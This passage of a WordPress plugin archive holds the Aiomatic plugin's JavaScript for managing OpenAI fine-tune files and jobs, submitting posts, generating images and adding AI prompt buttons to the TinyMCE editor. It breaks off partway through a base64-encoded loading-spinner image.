convert'); } } else{ progressBar.addClass('aiomatic_error'); aiomaticRmLoading(btn); alert(res.msg); } }, error: function (request, status, error) { progressBar.addClass('aiomatic_error'); aiomaticRmLoading(btn); alert('Error in processing: ' + error); } }); } return false; }); aiomatic_convert_upload.on('click', function (){ var btn = $(this); var file = btn.attr('data-file'); var lines = btn.attr('data-lines'); $('.aiomatic-overlay').show(); $('.aiomatic_modal').show(); $('.aiomatic_modal_title').html('File Setting'); $('.aiomatic_modal').addClass('aiomatic-small-modal'); $('.aiomatic_modal_content').empty(); var html = '<form id="aiomatic_upload_convert" action="" method="post"><input type="hidden" name="action" value="aiomatic_upload_convert"><input type="hidden" id="aiomatic_upload_convert_index" name="index" value="1"><input id="aiomatic_upload_convert_line" type="hidden" name="line" value="0"><input id="aiomatic_upload_convert_lines" type="hidden" value="'+lines+'"><input type="hidden" name="file" value="'+file+'"><p><label>Purpose</label> <select class="coderevolution_gutenberg_select" name="purpose"><option value="fine-tune">Fine-Tune</option></select></p>'; html += '<p><label>Model Base</label> <select class="coderevolution_gutenberg_select" name="model"><option value="gpt-4o-2024-05-13">gpt-4o-2024-05-13</option><option value="gpt-3.5-turbo-0125">gpt-3.5-turbo-0125</option><option value="gpt-4-0613">gpt-4-0613</option><option value="gpt-4">gpt-4</option><option value="gpt-3.5-turbo-0613">gpt-3.5-turbo-0613</option><option value="gpt-3.5-turbo-1106" selected>gpt-3.5-turbo-1106</option><option value="babbage-002">babbage-002</option><option value="davinci-002">davinci-002</option></select></p>'; html += '<p><label>Custom Name</label> <input class="coderevolution_gutenberg_select" type="text" name="custom"></p>'; html += '<div class="aiomatic-convert-progress aiomatic-upload-bar"><span></span><small>0%</small></div>'; html += '<div class="aiomatic-upload-message"></div><p><button class="button button-primary coderevolution_gutenberg_select">Upload</button></p>' $('.aiomatic_modal_content').append(html); }); aiomatic_delete_upload.on('click', function (){ var btn = $(this); var file = btn.attr('data-file'); $.ajax({ url: aiomatic_ajax_url, data: { action: 'aiomatic_file_delete', file: file, nonce: aiomatic_object.nonce }, type: 'POST', beforeSend: function (){ progressBar.show(); progressBar.removeClass('aiomatic_error') progressBar.find('span').css('width',0); progressBar.find('small').html('0%'); aiomaticLoading(btn); }, success: function (res){ if(res.status === 'success'){ window.location.reload(); } else{ progressBar.addClass('aiomatic_error'); aiomaticRmLoading(btn); alert(res.msg); } }, error: function (request, status, error) { progressBar.addClass('aiomatic_error'); aiomaticRmLoading(btn); alert('Error in deleting: ' + error); } }); }); function aiomaticFileUpload(data, btn){ var aiomatic_upload_convert_index = parseInt($('#aiomatic_upload_convert_index').val()); var total_lines = parseInt($('#aiomatic_upload_convert_lines').val()); if(total_lines === 0) { total_lines = 1; } var aiomatic_upload_bar = $('.aiomatic-convert-bar'); $.ajax({ url: aiomatic_ajax_url, data: data, type: 'POST', dataType: 'JSON', success: function (res){ if(res.status === 'success'){ if(res.next === 'DONE'){ $('.aiomatic-upload-message').html('Upload was successful!'); res.next = total_lines; var percent = Math.ceil(res.next*100/total_lines); aiomatic_upload_bar.find('small').html(percent+'%'); aiomatic_upload_bar.find('span').css('width',percent+'%'); aiomaticRmLoading(btn); } else{ var percent = Math.ceil(res.next*100/total_lines); aiomatic_upload_bar.find('small').html(percent+'%'); aiomatic_upload_bar.find('span').css('width',percent+'%'); $('#aiomatic_upload_convert_line').val(res.next); $('#aiomatic_upload_convert_index').val(aiomatic_upload_convert_index+1); var data = $('#aiomatic_upload_convert').serialize(); aiomaticFileUpload(data,btn); } } else{ aiomatic_upload_bar.addClass('aiomatic_error'); aiomaticRmLoading(btn); alert(res.msg); } }, error: function (r, s, error){ aiomatic_upload_bar.addClass('aiomatic_error'); aiomaticRmLoading(btn); alert('Error in processing file upload: ' + error); } }); } $(document).on('submit','#aiomatic_upload_convert', function (e){ $('#aiomatic_upload_convert_index').val(1); $('#aiomatic_upload_convert_line').val(0); $('.aiomatic-upload-message').empty(); var form = $(e.currentTarget); var data = form.serialize(); var btn = form.find('button'); aiomaticLoading(btn); var aiomatic_upload_bar = $('.aiomatic-upload-bar'); aiomatic_upload_bar.show(); aiomatic_upload_bar.removeClass('aiomatic_error') aiomatic_upload_bar.find('span').css('width',0); aiomatic_upload_bar.find('small').html('0%'); aiomaticFileUpload(data,btn); return false; }); $('.aiomatic_modal_close').on('click', function (){ $('.aiomatic_modal_close').closest('.aiomatic_modal').hide(); $('.aiomatic_modal_close').closest('.aiomatic_modal').removeClass('aiomatic-small-modal'); $('.aiomatic-overlay').hide(); }) var aiomaticAjaxRunning = false; $('.aiomatic_sync_files').on('click', function (){ var btn = $(this); if(!aiomaticAjaxRunning) { $.ajax({ url: aiomatic_ajax_url, data: {action: 'aiomatic_fetch_finetune_files', nonce: aiomatic_object.nonce}, dataType: 'JSON', type: 'POST', beforeSend: function () { aiomaticAjaxRunning = true; aiomaticLoading(btn); }, success: function (res) { aiomaticAjaxRunning = false; aiomaticRmLoading(btn); if (res.status === 'success') { window.location.reload(); } else { alert(res.msg); } }, error: function (r, s, error) { aiomaticAjaxRunning = false; aiomaticRmLoading(btn); alert('Error in processing sync: ' + error); } }); } }); aiomatic_delete_file.on('click', function (){ if(!aiomaticAjaxRunning) { var conf = confirm('Are you sure that you want to delete this file?'); if (conf) { var btn = $(this); var id = btn.attr('data-id'); $.ajax({ url: aiomatic_ajax_url, data: {action: 'aiomatic_delete_finetune_file', id: id, nonce: aiomatic_object.nonce}, dataType: 'JSON', type: 'POST', beforeSend: function () { aiomaticAjaxRunning = true; aiomaticLoading(btn); }, success: function (res) { aiomaticAjaxRunning = false; aiomaticRmLoading(btn); if (res.status === 'success') { window.location.reload(); } else { alert(res.msg); } }, error: function (r, s, error) { aiomaticAjaxRunning = false; aiomaticRmLoading(btn); alert('Error in processing finetune removal: ' + error); } }); } else{ aiomaticAjaxRunning = false; } } }); $(document).on('click','#aiomatic_create_finetune_btn', function (e){ if(!aiomaticAjaxRunning) { var btn = $(e.currentTarget); var id = $('#aiomatic_create_finetune_id').val(); var model = $('#aiomatic_create_finetune_model').val(); var hyper_epochs = $('#hyper_epochs').val(); var hyper_batch = $('#hyper_batch').val(); var hyper_rate = $('#hyper_rate').val(); var hyper_loss = $('#hyper_loss').val(); var hyper_suffix = $('#hyper_suffix').val(); $.ajax({ url: aiomatic_ajax_url, data: {action: 'aiomatic_create_finetune', id: id, model: model, hyper_epochs: hyper_epochs, hyper_batch: hyper_batch, hyper_rate: hyper_rate, hyper_loss: hyper_loss, hyper_suffix: hyper_suffix, nonce: aiomatic_object.nonce}, dataType: 'JSON', type: 'POST', beforeSend: function () { aiomaticAjaxRunning = true; aiomaticLoading(btn); }, success: function (res) { aiomaticRmLoading(btn); aiomaticAjaxRunning = false; if (res.status === 'success') { window.location.reload(); } else { alert(res.msg); } }, error: function (r, s, error) { aiomaticAjaxRunning = false; aiomaticRmLoading(btn); alert('Error in processing new finetune: ' + error); } }); } }); aiomatic_create_fine_tune.on('click', function (){ if(!aiomaticAjaxRunning) { var btn = $(this); var id = btn.attr('data-id'); $.ajax({ url: aiomatic_ajax_url, data: {action: 'aiomatic_create_finetune_modal', nonce: aiomatic_object.nonce}, dataType: 'JSON', type: 'POST', beforeSend: function () { aiomaticAjaxRunning = true; aiomaticLoading(btn); }, success: function (res) { aiomaticAjaxRunning = false; aiomaticRmLoading(btn); if (res.status === 'success') { $('.aiomatic_modal_content').empty(); $('.aiomatic-overlay').show(); $('.aiomatic_modal').show(); $('.aiomatic_modal_title').html('Choose Model'); $('.aiomatic_modal').addClass('aiomatic-small-modal'); var html = '<input type="hidden" id="aiomatic_create_finetune_id" value="' + id + '"><p><label>Select Model</label>'; html += '<select class="coderevolution_gutenberg_select" id="aiomatic_create_finetune_model">'; html += '<option value="">New Model</option>'; $.each(res.data, function (idx, item) { html += '<option value="' + item + '">' + item + '</option>'; }) html += '</select>'; html += '</p>'; html += '<p>Enable Hyperparameters: <input type="checkbox" id="hyper_switcher" onchange="aiomatic_switcher_change()"></p>'; html += '<div id="hyper_div" style="display:none;">' html += '<p>Number of Epochs: <input type="number" min="1" max="999" step="1" id="hyper_epochs" class="coderevolution_gutenberg_input" placeholder="The number of epochs to train the model for"></p>'; html += '<p>Batch Size: <input type="number" min="1" max="999" step="1" id="hyper_batch" class="coderevolution_gutenberg_input" placeholder="The batch size to use for training"></p>'; html += '<p>Learning Rate Multiplier: <input type="number" min="0" max="1" step="0.01" id="hyper_rate" class="coderevolution_gutenberg_input" placeholder="The learning rate multiplier to use for training"></p>'; html += '<p>Prompt Loss Weight: <input type="number" min="0" max="1" step="0.01" id="hyper_loss" class="coderevolution_gutenberg_input" placeholder="The weight to use for loss on the prompt tokens"></p>'; html += '<p>Model Suffix: <input type="text" id="hyper_suffix" class="coderevolution_gutenberg_input" placeholder="A string of up to 40 characters that will be added to your fine-tuned model name"></p>'; html += '</div>'; html += '<p><button class="button button-primary coderevolution_gutenberg_select" id="aiomatic_create_finetune_btn">Create</button></p>'; html += '<script>function aiomatic_switcher_change() {if(jQuery(\'#hyper_switcher\').is(":checked")) {jQuery("#hyper_div").show();} else {jQuery("#hyper_div").hide();}};</script>'; $('.aiomatic_modal_content').append(html); } else { alert(res.msg); } }, error: function (r, s, error) { aiomaticAjaxRunning = false; aiomaticRmLoading(btn); alert('Error in processing new finetune modal: ' + error); } }); } }); aiomatic_retrieve_content.on('click', function (){ if(!aiomaticAjaxRunning) { var btn = $(this); var id = btn.attr('data-id'); $.ajax({ url: aiomatic_ajax_url, data: {action: 'aiomatic_get_finetune_file', id: id, nonce: aiomatic_object.nonce}, dataType: 'JSON', type: 'POST', beforeSend: function () { aiomaticAjaxRunning = true; aiomaticLoading(btn); }, success: function (res) { aiomaticAjaxRunning = false; aiomaticRmLoading(btn); if (res.status === 'success') { $('.aiomatic_modal_title').html('File Content'); $('.aiomatic_modal_content').html('<pre>' + res.data + '</pre>'); $('.aiomatic-overlay').show(); $('.aiomatic_modal').show(); } else { alert(res.msg); } }, error: function (r, s, error) { aiomaticAjaxRunning = false; aiomaticRmLoading(btn); alert('Error in processing finetune file: ' + error); } }); } }); var aiomaticAjaxRunning = false; $('.aiomatic_modal_close').on('click', function (){ $('.aiomatic_modal_close').closest('.aiomatic_modal').hide(); $('.aiomatic-overlay').hide(); }) function aiomaticLoading(btn){ btn.attr('disabled','disabled'); if(btn.find('.spinner').length === 0){ btn.append('<span class="aiomatic-spinner spinner"></span>'); } btn.find('.spinner').css('visibility','unset'); } function aiomaticRmLoading(btn){ btn.removeAttr('disabled'); btn.find('.spinner').remove(); } var aiomatic_get_other = $('.aiomatic_get_other'); var aiomatic_get_finetune = $('.aiomatic_get_finetune'); var aiomatic_cancel_finetune = $('.aiomatic_cancel_finetune'); var aiomatic_delete_finetune = $('.aiomatic_delete_finetune'); aiomatic_cancel_finetune.on('click', function (){ var conf = confirm('Are you sure?'); if(conf) { var btn = $(this); var id = btn.attr('data-id'); if (!aiomaticAjaxRunning) { aiomaticAjaxRunning = true; $.ajax({ url: aiomatic_ajax_url, data: {action: 'aiomatic_cancel_finetune', id: id, nonce: aiomatic_object.nonce}, dataType: 'JSON', type: 'POST', beforeSend: function () { aiomaticLoading(btn); }, success: function (res) { aiomaticRmLoading(btn); aiomaticAjaxRunning = false; if (res.status === 'success') { window.location.reload(); } else { alert(res.msg); } }, error: function (r, s, error) { aiomaticRmLoading(btn); aiomaticAjaxRunning = false; alert('Error in processing finetune cancelling: ' + error); } }); } } }); aiomatic_delete_finetune.on('click', function (){ var conf = confirm('Are you sure?'); if(conf) { var btn = $(this); var id = btn.attr('data-id'); if (!aiomaticAjaxRunning) { aiomaticAjaxRunning = true; $.ajax({ url: aiomatic_ajax_url, data: {action: 'aiomatic_delete_finetune', id: id, nonce: aiomatic_object.nonce}, dataType: 'JSON', type: 'POST', beforeSend: function () { aiomaticLoading(btn); }, success: function (res) { aiomaticRmLoading(btn); aiomaticAjaxRunning = false; if (res.status === 'success') { window.location.reload(); } else { alert(res.msg); } }, error: function (r, s, error) { aiomaticRmLoading(btn); aiomaticAjaxRunning = false; alert('Error in processing finetune deletion: ' + error); } }); } } }); aiomatic_get_other.on('click', function (){ var btn = $(this); var id = btn.attr('data-id'); var type = btn.attr('data-type'); var aiomaticTitle = btn.text().trim(); if(!aiomaticAjaxRunning){ aiomaticAjaxRunning = true; $.ajax({ url: aiomatic_ajax_url, data: {action: 'aiomatic_other_finetune', id: id, type: type, nonce: aiomatic_object.nonce}, dataType: 'JSON', type: 'POST', beforeSend: function (){ aiomaticLoading(btn); }, success: function (res){ aiomaticRmLoading(btn); aiomaticAjaxRunning = false; if(res.status === 'success'){ $('.aiomatic_modal_title').html(aiomaticTitle); $('.aiomatic_modal_content').html(res.html); $('.aiomatic-overlay').show(); $('.aiomatic_modal').show(); } else{ alert(res.msg); } }, error: function (r, s, error){ aiomaticRmLoading(btn); aiomaticAjaxRunning = false; alert('Error in processing finetune switching: ' + error); } }); } }); $('.aiomatic_sync_finetunes').on('click', function (){ var btn = $(this); $.ajax({ url: aiomatic_ajax_url, data: {action: 'aiomatic_fetch_finetunes', nonce: aiomatic_object.nonce}, dataType: 'JSON', type: 'POST', beforeSend: function (){ aiomaticLoading(btn); }, success: function (res){ aiomaticRmLoading(btn); if(res.status === 'success'){ window.location.reload(); } else{ alert(res.msg); } }, error: function (r, s, error){ aiomaticRmLoading(btn); alert('Error in processing finetune fetching: ' + error); } }); }) });�����������������������������������������������������������������������������������������������������������������scripts/index.php�����������������������������������������������������������������������������������0000644�����������������00000000037�14757771437�0010101 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // Silence is golden. ?> �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/postnow.js����������������������������������������������������������������������������������0000644�����������������00000006017�14757771437�0010334 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������"use strict"; function aiomatic_post_now(postId) { if (confirm("Are you sure you want to submit this post now?") == true) { document.getElementById('aiomatic_submit_post').setAttribute('disabled','disabled'); document.getElementById('aiomatic_toggle_post').setAttribute('disabled','disabled'); document.getElementById("aiomatic_span").innerHTML = 'Submitting... (please do not close or refresh this page) '; var data = { action: 'aiomatic_post_now', nonce: aiomatic_poster_object.nonce, id: postId }; jQuery.post(aiomatic_poster_object.ajax_url, data, function(response) { document.getElementById('aiomatic_submit_post').removeAttribute('disabled'); document.getElementById('aiomatic_toggle_post').removeAttribute('disabled'); document.getElementById("aiomatic_span").innerHTML = 'Done! '; location.reload(); }).fail( function(xhr) { document.getElementById("aiomatic_span").innerHTML = 'Error, please check the plugin\'s \'Activity and Logging\' menu for details!'; console.log('Error occured in processing: ' + xhr.statusText + ' - please check plugin\'s \'Activity and Logging\' menu for details.'); document.getElementById('aiomatic_submit_post').removeAttribute('disabled'); document.getElementById('aiomatic_toggle_post').removeAttribute('disabled'); }); } else { return; } } function aiomatic_toggle_now(postId) { if (confirm("Are you sure you want to toggle the processing status of this post?") == true) { document.getElementById('aiomatic_submit_post').setAttribute('disabled','disabled'); document.getElementById('aiomatic_toggle_post').setAttribute('disabled','disabled'); document.getElementById("aiomatic_span").innerHTML = 'Submitting... (please do not close or refresh this page) '; var data = { action: 'aiomatic_toggle_status', nonce: aiomatic_poster_object.nonce, id: postId }; jQuery.post(aiomatic_poster_object.ajax_url, data, function(response) { document.getElementById('aiomatic_submit_post').removeAttribute('disabled'); document.getElementById('aiomatic_toggle_post').removeAttribute('disabled'); document.getElementById("aiomatic_span").innerHTML = 'Done! '; location.reload(); }).fail( function(xhr) { document.getElementById("aiomatic_span").innerHTML = 'Error, please check the plugin\'s \'Activity and Logging\' menu for details!'; console.log('Error occured in processing: ' + xhr.statusText + ' - please check plugin\'s \'Activity and Logging\' menu for details.'); document.getElementById('aiomatic_submit_post').removeAttribute('disabled'); document.getElementById('aiomatic_toggle_post').removeAttribute('disabled'); }); } else { return; } }�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/openai-stable-image-ajax.js�����������������������������������������������������������������0000644�����������������00000013031�14757771437�0013341 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict"; function stableimagefunct() { jQuery('#aistableimagesubmitbut').attr('disabled', true); var instructionx = jQuery('#aiomatic_stable_image_instruction'); var instruction = instructionx.val(); if(instruction == '') { jQuery('#aistableimagesubmitbut').attr('disabled', false); jQuery('#openai-stable-image-response').html('<div class="text-primary highlight-text-fail" role="status">Please add a prompt in the input field.</div>'); console.log('Instruction cannot be empty.'); return; } var image_placeholder = aiomatic_stable_image_ajax_object.image_placeholder; jQuery("#aiomatic_stable_image_response").attr("src", image_placeholder).fadeIn(); var image_size = aiomatic_stable_image_ajax_object.image_size; var user_token_cap_per_day = aiomatic_stable_image_ajax_object.user_token_cap_per_day; var user_id = aiomatic_stable_image_ajax_object.user_id; // Show the loading animation jQuery('#openai-stable-image-response').html('<div class="automaticx-dual-ring"></div>'); if(image_size == 'default' || image_size == '') { image_size = jQuery( "#model-stable-size-selector option:selected" ).text(); } jQuery.ajax({ type: 'POST', url: aiomatic_stable_image_ajax_object.ajax_url, data: { action: 'aiomatic_stable_image_ajax_submit', instruction: instruction, image_size: image_size, user_token_cap_per_day: user_token_cap_per_day, nonce: aiomatic_stable_image_ajax_object.nonce, user_id: user_id }, success: function(response) { if(typeof response === 'string' || response instanceof String) { try { var responset = JSON.parse(response); response = responset; } catch (error) { console.error("An error occurred while parsing the JSON: " + error + ' Json: ' + response); } } if(response.status == 'success') { if(response.data == '') { jQuery('#openai-stable-image-response').html('<div class="text-primary" role="status">No image was returned. Please try using a different text input.</div>'); jQuery("#aiomatic_stable_image_response").attr("src", '').fadeIn(); } else { jQuery("#aiomatic_stable_image_response").attr("src", "data:image/png;base64," + response.data).fadeIn(); jQuery('#openai-stable-image-response').html(''); } } else { if(typeof response.msg !== 'undefined') { jQuery('#openai-stable-image-response').html('<div class="text-primary highlight-text-fail" role="status">' + response.msg + '</div>'); } else { console.log('Error: ' + response); jQuery('#openai-stable-image-response').html('<div class="text-primary highlight-text-fail" role="status">Processing failed, please try again</div>'); } jQuery("#aiomatic_stable_image_response").attr("src", '').fadeIn(); } jQuery('#aistableimagesubmitbut').attr('disabled', false); }, error: function(error) { console.log('Error: ' + error.responseText); jQuery("#aiomatic_stable_image_response").attr("src", '').fadeIn(); // Clear the response container jQuery('#openai-stable-image-response').html('<div class="text-primary highlight-text-fail" role="status">Failed to image content, try again later.</div>'); // Enable the submit button jQuery('#aistableimagesubmitbut').attr('disabled', false); }, }); } var recognition; var recognizing = false; jQuery(document).ready(function() { if(!jQuery('#aiomatic_stable_image_templates').length) { // Check if the browser supports the Web Speech API if ('webkitSpeechRecognition' in window) { recognition = new webkitSpeechRecognition(); recognition.continuous = true; recognition.interimResults = true; // Start the speech recognition when the button is clicked jQuery('#openai-stable-image-speech-button').on('click', function() { if (recognizing) { recognition.stop(); recognizing = false; } else { recognition.start(); recognizing = true; } }); // Handle the speech recognition results recognition.onresult = function(event) { for (var i = event.resultIndex; i < event.results.length; ++i) { if (event.results[i].isFinal) { jQuery('#aiomatic_stable_image_instruction').val(jQuery('#aiomatic_stable_image_instruction').val() + " " + event.results[i][0].transcript); } } }; } } else { jQuery('#aiomatic_stable_image_templates').on('change', function() { jQuery('#aiomatic_stable_image_instruction').val(jQuery( "#aiomatic_stable_image_templates" ).val()); }); } });�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/classic-editor.js���������������������������������������������������������������������������0000644�����������������00000040611�14757771437�0011526 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict"; function aiomatic_uniq_fast(a) { var seen = {}; var out = []; var len = a.length; var j = 0; for(var i = 0; i < len; i++) { var item = a[i]; var jsit = JSON.stringify(item); if(seen[jsit] !== 1) { seen[jsit] = 1; out[j++] = item; } } return out; } (function() { let menu = []; tinymce.create("tinymce.plugins.aiomatic_editor", { init : function(ed, url) { if ("object" == typeof aiomatic && "object" == typeof aiomatic.prompts) { for (let operation in aiomatic.prompts) { let prompt = aiomatic.prompts[operation]; let icon = 'text'; let thumb = 'toc'; if(prompt[1] == 'image') { icon = 'format-image'; thumb = 'image'; } menu.push({ text: operation, classes: 'aiomatic-classic-button', icon: thumb, onclick: async function () { ed = tinymce.activeEditor; let selectedText = ed.selection.getContent({format: 'text'}); let send_prompt = prompt[0].replace('%%selected_text%%', selectedText); if(send_prompt.includes('%%')) { var pid = document.getElementById('post_ID'); if(pid !== undefined && pid !== null && pid != '') { var postId = pid.value; const ajaxurl = aiomatic.ajaxurl; const nonce = aiomatic.nonce; const xdata = new FormData(); xdata.append( 'postId', postId ); xdata.append( 'nonce', nonce ); xdata.append( 'send_prompt', send_prompt ); xdata.append( 'action', 'aiomatic_shortcode_replacer' ); const response = await fetch(ajaxurl, { method: 'POST', body: xdata }).catch(async error => { console.log('An exception occurred: ' + error.text()); }) if (!response.ok) { console.log('An error occurred: ' + response.text()); } else { const ret = await response.json(); if (ret.message !== undefined) { console.log('A general error occurred: ' + response.text()); } else { send_prompt = ret.data.content; } } } } let dom = tinymce.activeEditor.dom; let $ = tinymce.dom.DomQuery; const loadingSpinnerId = await aiomatic_classic_addAutocompleteContainer(aiomatic.placement, ed); ed.selection.collapse(); let spinner = dom.select('#' + loadingSpinnerId); let autocompletedText = ''; try { if(icon == 'text') { autocompletedText = await aiomatic_classic_doAutocompleteRequest(send_prompt); if(autocompletedText === undefined) { throw new Error('Failed to generate text!'); } autocompletedText = autocompletedText.replace(/\n/g, '<br/>'); } else { if(icon == 'format-image') { autocompletedText = await aiomatic_classic_doImageRequest(send_prompt); if(autocompletedText === undefined) { throw new Error('Failed to generate text!'); } } } } catch (error) { $(spinner).remove(); alert('An API error occurred with the following response body: \n\n' + error.message); return; } $(spinner).removeAttr('class'); $(spinner).removeAttr('id'); $(spinner).html(autocompletedText); ed.undoManager.add(); } }); } var uniqueMenu = aiomatic_uniq_fast(menu); uniqueMenu.forEach((item, index) => { item.id = `menuitem-${index}`; }); ed.addButton("aiomatic", { type: 'menubutton', title : "Aiomatic Content Wizard", tooltip: 'Aiomatic Content Wizard', image: aiomatic.xicon, icon: false, menu: uniqueMenu }); } }, createControl : function(n, cm) { return null; }, getInfo : function() { return { longname : "Aiomatic Buttons", author : "CodeRevolution", version : "1.0" }; } }); tinymce.PluginManager.add("aiomatic_editor", tinymce.plugins.aiomatic_editor); })(); const createLoadingSpinner = function (selectedNode, loadingSpinnerId) { let spinnersrc = "data:image/gif;base64,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